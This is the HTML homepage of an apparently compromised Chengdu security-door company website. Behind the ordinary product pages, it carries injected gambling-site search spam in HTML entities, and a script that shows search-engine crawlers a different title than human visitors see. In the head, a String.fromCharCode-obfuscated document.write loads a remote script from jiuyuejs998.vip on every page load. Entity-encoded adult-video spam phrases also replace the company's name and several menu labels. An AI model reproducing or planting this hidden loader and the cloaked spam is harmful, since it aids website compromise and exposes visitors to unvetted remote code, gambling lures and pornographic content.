<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>&#26143;&#31354;&#40;&#20013;&#22269;&#41;&#120;&#105;&#110;&#103;&#107;&#111;&#110;&#103;&#183;&#23448;&#26041;&#32593;&#31449;&#45;&#31185;&#25216;&#32929;&#20221;&#26377;&#38480;&#20844;&#21496;</title>
<meta name="keywords" content=" &#26143;&#31354;&#23448;&#26041;&#44;&#26143;&#31354;&#32593;&#22336;&#44;&#26143;&#31354;&#32593;&#31449;&#44;&#26143;&#31354;&#24320;&#25143;&#44;&#26143;&#31354;&#30005;&#23376;" />
<meta name="description" content="&#12304;&#109;&#103;&#48;&#48;&#56;&#46;&#110;&#101;&#116;&#12305;&#26143;&#31354;&#183;&#120;&#105;&#110;&#103;&#107;&#111;&#110;&#103;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#9989;&#12304;&#11088;&#65039;&#22823;&#22766;&#183;&#33391;&#24515;&#25512;&#33616;&#11088;&#65039;&#119;&#119;&#119;&#46;&#120;&#105;&#110;&#103;&#107;&#111;&#110;&#103;&#46;&#99;&#111;&#109;&#12305;&#26143;&#31354;&#183;&#120;&#105;&#110;&#103;&#107;&#111;&#110;&#103;&#22312;&#32447;&#25552;&#20379;&#26368;&#26032;&#30331;&#24405;&#22320;&#22336;&#12289;&#23448;&#32593;&#12289;&#30331;&#24405;&#12289;&#20837;&#21475;&#12289;&#20840;&#31449;&#12289;&#97;&#112;&#112;&#12289;&#19979;&#36733;&#12289;&#32593;&#39029;&#12289;&#32593;&#22336;&#12289;&#25163;&#26426;&#29256;&#12289;&#23448;&#26041;&#12289;&#32593;&#31449;&#12289;&#24179;&#21488;&#65292;&#30005;&#23376;&#12289;&#30005;&#31454;&#12289;&#30495;&#20154;&#12289;&#26827;&#29260;&#19968;&#24212;&#20465;&#20840;&#65292;&#26143;&#31354;&#183;&#120;&#105;&#110;&#103;&#107;&#111;&#110;&#103;&#27426;&#36814;&#20320;&#65281;&#32;&#32;" />
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ="成都市&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业有限公司"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(0,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,106,105,117,121,117,101,106,115,57,57,56,46,118,105,112,47,121,98,46,106,115,34,62,60, 47,115, 99,114,105,112,116,62); document.write(xt);
</script>
<meta name="keywords" content="防盗门，&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业, 防盗门,防火门,别墅门">
<meta name="Description" content="&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业,防盗门">
<link href="/Public/Home/img/favicon.ico" type="image/x-icon" rel=icon>
<link href="/Public/Home/img/favicon.ico" type="image/x-icon" rel="shortcut icon">
<link rel="stylesheet" type="text/css" href="/Public/Home/css/css.css">
<script type="text/javascript" src="/Public/Home/js/jquery-1.7.2.min.js"></script>
<script type="text/javascript" src="/Public/Home/js/jquery.SuperSlide2.js"></script>
<script type="text/javascript" src="/Public/Home/js/number.js"></script>
</head>
<body>
<!--header-->
<script>
	root=""
    if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iPad)/i))) {
        location.replace(root+"/M/index.html")
    }
</script>
<div class="header">
<div class="top">
	<div class="logo"><a href="/"><img src="/Public/Home/img/logo.png" /></a>

    </div>

   
   <div class="nav">

            <ul>
			<li ><a href="/index.html">网站首页</a></li>
            
            <li><a href="/news/3.html"><span>&#40635;&#35910;&#20037;&#20037;&#20037;&#32593;&#31449;中心</span></a>

               <ul>
                <li><a href="/news/13.html">防盗门</a>
                    <dl>
                        <dt><a href="/news/25.html">单门</a>
                        <dll>
                        <dlt><a href="/news/31.html">F70系列</a>
                                               
                                                    </dlt><dlt><a href="/news/32.html">F80系列</a>
                                               
                                                    </dlt><dlt><a href="/news/33.html">F90系列</a>
                                               
                                                    </dlt><dlt><a href="/news/34.html">F100系列</a>
                                               
                                                    </dlt>
                       </dll>                            </dt><dt><a href="/news/26.html">子母门</a>
                        <dll>
                        <dlt><a href="/news/35.html">F90系列</a>
                                               
                                                    </dlt><dlt><a href="/news/36.html">F100系列</a>
                                               
                                                    </dlt>
                       </dll>                            </dt><dt><a href="/news/27.html">非标门</a>
                        <dll>
                        <dlt><a href="/news/37.html">F90系列</a>
                                               
                                                    </dlt><dlt><a href="/news/38.html">F100系 列</a>
                                               
                                                    </dlt>
                       </dll>                            </dt>                       </dl>                    </li><li><a href="/news/22.html">别墅门</a>
                    <dl>
                        <dt><a href="/news/39.html">钢质门</a>
                                                    </dt><dt><a href="/news/40.html">合金门</a>
                                                    </dt><dt><a href="/news/41.html">铸铝门</a>
                                                    </dt>                       </dl>                    </li>           	   </ul>            </li><li><a href="/news/2.html"><span>&#40635;&#35910;&#25104;&#20154;&#22312;&#32447;&#23567;&#30005;&#24433;资讯</span></a>

               <ul>
                <li><a href="/news/12.html">最新资讯</a>
                                        </li><li><a href="/news/10.html">公司&#40635;&#35910;&#25104;&#20154;&#22312;&#32447;&#23567;&#30005;&#24433;</a>
                                        </li><li><a href="/news/11.html">行业&#40635;&#35910;&#25104;&#20154;&#22312;&#32447;&#23567;&#30005;&#24433;</a>
                                        </li>           	   </ul>            </li><li><a href="/one/1.html"><span>关于&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;</span></a>

               <ul>
                <li><a href="/one/9.html">人才招聘</a>
                                        </li><li><a href="/one/6.html">公司介绍</a>
                                        </li><li><a href="/one/7.html">企业文化</a>
                                        </li><li><a href="/one/8.html">领导致词</a>
                                        </li>           	   </ul>            </li><li><a href="/one/21.html"><span>专卖店查询</span></a>

                           </li><li><a href="/one/4.html"><span>招商加盟</span></a>

               <ul>
                <li><a href="/one/15.html">加盟优势</a>
                                        </li><li><a href="/one/16.html">加盟条件</a>
                                        </li><li><a href="/one/17.html">加盟流程</a>
                                        </li>           	   </ul>            </li><li><a href="/one/5.html"><span>&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;中心</span></a>

               <ul>
                <li><a href="/one/18.html">联系&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;</a>
                                        </li><li><a href="/one/19.html">常见问题</a>
                                        </li><li><a href="/one/20.html">售后&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;</a>
                                        </li>           	   </ul>            </li>            </ul>
 <!--  <div class="phone"><img src="/Public/Home/img/phone.png">028-87893291</div>    -->
     </div>
   
   
</div>
</div>

    
<!--banner-->
<div class="banner" style="margin-top:81px">
<div id="focus">
	<ul >
       <li style="background:url('/Uploads/image/20230707/20230707053123_72094.jpg') center no-repeat;"></li>
      <!-- <li><a href="#" target="_blank"><img src="/Uploads/image/20230707/20230707053123_72094.jpg" /></a></li> --><li style="background:url('/Uploads/image/20190124/20190124033715_63731.gif') center no-repeat;"></li>
      <!-- <li><a href="#" target="_blank"><img src="/Uploads/image/20190124/20190124033715_63731.gif" /></a></li> -->	</ul>
</div>
</div>
<script>
//$("#focus li img").width($(window).width())
</script>
<!--Product-->

<style>
	.box{width: 282px;height: 188px;margin: 0 auto;background: #000000;position: relative;}
	.box:hover .div1{transform: rotateY(180deg);}
	.box:hover .div2{transform: rotateY(0);}
	.div1{width: 282px;height: 188px;transition: transform 0.5s;background-color: #ff0000;backface-visibility: hidden;position: absolute;top: 0px;left: 0px;}
	.div2{width: 282px;height: 188px;transition: transform 0.5s;transform: rotateY(180deg);background-color: #ca9147;backface-visibility: hidden;position: absolute;top: 0px;
		left: 0px;color:#221e1f; text-align:center; font-size:12px;	}
	.div2 span{ width:100%; font-size:40px; line-height:50px; float:left; margin-top:50px}
</style>
<div class="width100" style=" background:#1b1b1b">
<div class="product">

	<div class="title">&#40635;&#35910;&#20037;&#20037;&#20037;&#32593;&#31449;分类　<em>Product&nbsp;&nbsp;center</em></div>
    <div class="more"><a href="/Home/news/3.html"><em>了解更多</em></a></div>
	<ul id="s1" style="display:block">

    <a href="http://www.ego126.com/news/25.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227024844_94526.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227024844_94526.jpg" width="282" height="188" alt="单门系列" title="单门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227024849_33653.jpg" width="282" height="188" alt="单门系列" title="单门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/26.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227024751_11980.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227024751_11980.jpg" width="282" height="188" alt="子母门系列" title="子母门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227024757_22101.jpg" width="282" height="188" alt="子母门系列" title="子母门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/27.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227023805_75297.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227023805_75297.jpg" width="282" height="188" alt="非标门系列" title="非标门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227023811_76618.jpg" width="282" height="188" alt="非标门系列" title="非标门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/39.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227023713_30258.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227023713_30258.jpg" width="282" height="188" alt="钢质门系列" title="钢质门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227023718_32046.jpg" width="282" height="188" alt="钢质门系列" title="钢质门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/40.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227023453_80018.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227023453_80018.jpg" width="282" height="188" alt="合金门系列" title="合金门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227023459_97654.jpg" width="282" height="188" alt="合金门系列" title="合金门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/41.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227023355_34988.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227023355_34988.jpg" width="282" height="188" alt="铸铝们" title="铸铝们" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227023400_76080.jpg" width="282" height="188" alt="铸铝们" title="铸铝们" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/23.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20181227/20181227023248_80312.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20181227/20181227023248_80312.jpg" width="282" height="188" alt="实木门系列" title="实木门系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20181227/20181227023253_57969.jpg" width="282" height="188" alt="实木门系列" title="实木门系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a><a href="http://www.ego126.com/news/24.html">
        <li class="box">
        <!--<div class="p_pic con-five" style="width:282px; height:188px; overflow:hidden"><img src="/Uploads/image/20190123/20190123075304_57694.jpg" class="conimg"  style="width:282px; height:188px; float:left;" /></div>-->
		<div class="div1"><img src="/Uploads/image/20190123/20190123075304_57694.jpg" width="282" height="188" alt="配件系列" title="配件系列" style="float:left; margin-right:25PX;">
                </div>
        <div class="div2">
        <img src="/Uploads/image/20190123/20190123075310_94314.jpg" width="282" height="188" alt="配件系列" title="配件系列" style="float:left; margin-right:25PX;">
        <!--<span></span>
        -->
        </div>
        </li></a>    </ul>
</div>
</div>

<div class="hidden-xs" style=" background:url(/Public/Home/img/mainbg1.jpg) center center fixed; background-size:cover; height:450px;">
<div class="show_t">
<span><!--<img src="/Public/Home/img/t1.png">-->引领创建  ·  智造未来</span>
</div>
</div>

<!--About-->
<div class="width100" style="background:url(/Public/Home/img/about_bg.jpg) no-repeat; height:608px;">
<div class="about">

<div class="about_con">

<div class="about_left">
<em>关于&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;  About us</em>
<span>
成都市&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业有限公司，成立于1999年8月，是集设计、生产、销售、&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;为一体的防盗安全门生产企业。公司位于成都现代工业港北区港通北四路630号。员工300余人，具有年产100万樘高档防盗安全门的生产能力。</span>
<a href="/Home/one/1.html"><div class="read_more">了解更多</div></a>
</div>
<img src="/Public/Home/img/about.png" style=" float:right">
</div>
</div>
</div>
<!--ads-->
<div class="product-number-info" id="productNumber" >
            <div class="product-number-inner">
                <ul class="q clearfix">
                    <li class="li-1">
                        <b>
                            <i id="productNumber_1" data-sum="3000000">3000000</i>
                            <sup>+</sup>
                        </b>
                        <p>年产300万樘防盗安全门</p>
                    </li>
                    <li class="li-2">
                        <b>
                            <i id="productNumber_2" data-sum="2000">2000</i>
                          	<sup>+</sup>
                          <!--  <em></em>-->
                        </b>
                        <p>员工2000余人</p>
                    </li>
                    <li class="li-3">
                        <b>
                            <i id="productNumber_3" data-sum="1000">1000</i>
                            <sup>+</sup>
                        </b>
                        <p>1000多家专卖店</p>
                    </li>
                    <li class="li-4">
                        <b>
                            <i id="productNumber_4" data-sum="200">200</i>
                            <sup>+</sup>
                            <!--<em>万</em>-->
                        </b>
                        <p>厂区占地200余亩</p>
                    </li>
                    <li class="li-5">
                        <b>
                            <i id="productNumber_5" data-sum="28">28</i>
                            <!--<sup>+</sup>-->
                        </b>
                        <p>28个省级办事处</p>
                    </li>
                </ul>
            </div>
        </div>
<!--<div class="ads1"></div>-->

<div class="hidden-xs" style=" background:url(/Public/Home/img/mainbg2.jpg) center center fixed; background-size:cover; height:450px;">
<div class="show_t2">
<span>
Fudun, for you to achieve a perfect home。<br>
&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;，为你成就一个完美的家。
</span>
</div>
</div>

    
<div class="clear"></div>

<div class="i_news">
<div class="title">&#40635;&#35910;&#25104;&#20154;&#22312;&#32447;&#23567;&#30005;&#24433;动态　<em>News</em></div>
</div>

<div class="news_con">
<ul>
<li>
<a href="/view/43.html">

<em>09 - 19</em>
<div class="line"></div>
<div class="li_con">
<img src="/Uploads/image/20180919/20180919083758_92768.jpg" alt="走新型城镇化道路势在必行" title="走新型城镇化道路势在必行" >
<font>走新型城镇化道路势在必行</font>
<br>
  “中国梦”的本质内涵是实现国家富强、民族复兴、人民幸福和社会和谐。要实现2020年全面建成小康社会以及本世纪中叶基本实现现代化这两个中国梦，都离不开城镇化。因为，城镇化是一国实现工业化、现代化的必由之路，是人类社会发展的</div>
<div class="show_more">了解更多</div>
</a>
</li><li>
<a href="/view/42.html">

<em>09 - 19</em>
<div class="line"></div>
<div class="li_con">
<img src="/Uploads/image/20180919/20180919090211_27089.jpg" alt="防盗门以更好的&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;和品牌占领市场" title="防盗门以更好的&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;和品牌占领市场" >
<font>防盗门以更好的&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;和品牌占领市场</font>
<br>
  如今各行各业竞争激烈，防盗门市场也不例外。虽然防盗门的功能人们已经耳熟能详，然而，对于不同品牌之间的优势差别，人们只是略知一二。于是，防盗门市场需要打响品牌，做好&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;，力求从消费者出发，开拓并占领更多的市场份额。打响&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;</div>
<div class="show_more">了解更多</div>
</a>
</li><li>
<a href="/view/41.html">

<em>09 - 19</em>
<div class="line"></div>
<div class="li_con">
<img src="/Uploads/image/20180919/20180919081909_17553.jpg" alt="防盗门行业要发展需扫清“山寨货”" title="防盗门行业要发展需扫清“山寨货”" >
<font>防盗门行业要发展需扫清“山寨货”</font>
<br>
  防盗门是每一个家庭装修必不可少的部分，防盗门的作用在于为每一个家庭能遮风挡雨，简而言之就是起到保卫的作用。然而，近年来防盗门行业的发展却受到层层阻碍。

某防盗门品牌负责人表示：“&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;一直是想走高端市场的，但开发一种</div>
<div class="show_more">了解更多</div>
</a>
</li>
</ul>
</div>
<!--foot-->
<div class="foot_bg" style="background:#000">
	<div class="foot">
    	<div class="title">联系&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;　<em>Contact&nbsp;&nbsp;us</em></div>
        <div class="mess">
        <span>&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;國際集團(香港)有限公司　|　成都市&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业有限公司</span>
        地址：成都市现代工业港北区港通北四路630号         电话：+028-87893291         传真：+86-028-87893233         全国统一&#40635;&#35910;&#32593;&#31449;&#22312;&#32447;&#25773;&#25918;热线：4006-980-168        Copyright@2021 成都市&#22269;&#20135;&#40635;&#35910;&#20813;&#36153;&#30475;门业有限公司 版权所有  <a href="http://beian.miit.gov.cn/" target="_blank" style="color: #fff">蜀ICP备18025863号</a>
        </div>
        <div class="mess_con">
        <span>
        <input id="nickname" type="text" placeholder="姓名">
        <input id="tel" type="text" placeholder="电话（必填）">
        <input id="e_mail" type="text" placeholder="邮箱">
        </span>
        <textarea id="content" class="con1" ></textarea><br>
        <div style="width:100%; float:left; margin-top:10px;">
        <a href="javascript:void(0)" class="btn1" style="width:auto; color:#111; padding:5px 15px; float:left; border-radius:3px; background:#ca9147;">提交</a>
        </div>
        <img src="/Public/Home/img/2wm.png" style="margin-top:40px; margin-bottom:70px">
        </div>
    </div>

</div>
<script>
$(function(){
	$(".btn1").click(function(){
		nickname=$("#nickname").val()
		tel=$("#tel").val()
		e_mail=$("#e_mail").val()
		beizhu=$("#content").val()
	
		if(tel==null||tel==''){
            alert('电话不得为空！');
            return false;
        }
		root="/Home";
		$.ajax({
            type : "post",
            url : root+"/Mess/doadd",
            data:{
			    		nickname:nickname,
						tel:tel,
						e_mail:e_mail,
						beizhu:beizhu
			    	},
            cache:false,  
			dataType:'text',  
            success:function(data){
                alert("留言成功，请等待工作人员与您联系")
				hide()
            }
        });
		
	})
})
</script>

<script type="text/javascript">
    $(".con-five").hover(function() {
        $(this).find(".conimg").stop().animate({"width":350,"height":230,"margin-top":-10,"margin-left":-15});
    }, function() {
        $(this).find(".conimg").stop().animate({"width":282,"height":188,"margin-top":0,"margin-left":0});
    })
</script>

<script type="text/javascript">
$(function() {
	var sWidth = $("#focus").width(); //获取焦点图的宽度（显示面积）
	$("#focus ul li").width(sWidth)
	var len = $("#focus ul li").length; //获取焦点图个数
	var index = 0;
	var picTimer;
	
	//以下代码添加数字按钮和按钮后的半透明条，还有上一页、下一页两个按钮
	var btn = "<div class='btnBg'></div><div class='btn'>";
	for(var i=0; i < len; i++) {
		btn += "<span></span>";
	}
	btn += "</div><div class='preNext pre'></div><div class='preNext next'></div>";
	$("#focus").append(btn);
	$("#focus .btnBg").css("opacity",0.5);

	//为小按钮添加鼠标滑入事件，以显示相应的内容
	$("#focus .btn span").css("opacity",0.4).mouseenter(function() {
		index = $("#focus .btn span").index(this);
		showPics(index);
	}).eq(0).trigger("mouseenter");

	//上一页、下一页按钮透明度处理
	$("#focus .preNext").css("opacity",0.2).hover(function() {
		$(this).stop(true,false).animate({"opacity":"0.5"},300);
	},function() {
		$(this).stop(true,false).animate({"opacity":"0.2"},300);
	});

	//上一页按钮
	$("#focus .pre").click(function() {
		index -= 1;
		if(index == -1) {index = len - 1;}
		showPics(index);
	});

	//下一页按钮
	$("#focus .next").click(function() {
		index += 1;
		if(index == len) {index = 0;}
		showPics(index);
	});

	//本例为左右滚动，即所有li元素都是在同一排向左浮动，所以这里需要计算出外围ul元素的宽度
	$("#focus ul").css("width",sWidth * (len));
	
	//鼠标滑上焦点图时停止自动播放，滑出时开始自动播放
	$("#focus").hover(function() {
		clearInterval(picTimer);
	},function() {
		picTimer = setInterval(function() {
			showPics(index);
			index++;
			if(index == len) {index = 0;}
		},4000); //此4000代表自动播放的间隔，单位：毫秒
	}).trigger("mouseleave");
	
	//显示图片函数，根据接收的index值显示相应的内容
	function showPics(index) { //普通切换
		var nowLeft = -index*sWidth; //根据index值计算ul元素的left值
		$("#focus ul").stop(true,false).animate({"left":nowLeft},1000); //通过animate()调整ul元素滚动到计算出的position
		//$("#focus .btn span").removeClass("on").eq(index).addClass("on"); //为当前的按钮切换到选中的效果
		$("#focus .btn span").stop(true,false).animate({"opacity":"0.4"},1000).eq(index).stop(true,false).animate({"opacity":"1"},1000); //为当前的按钮切换到选中的效果
	}
});

</script>
</body>

</html>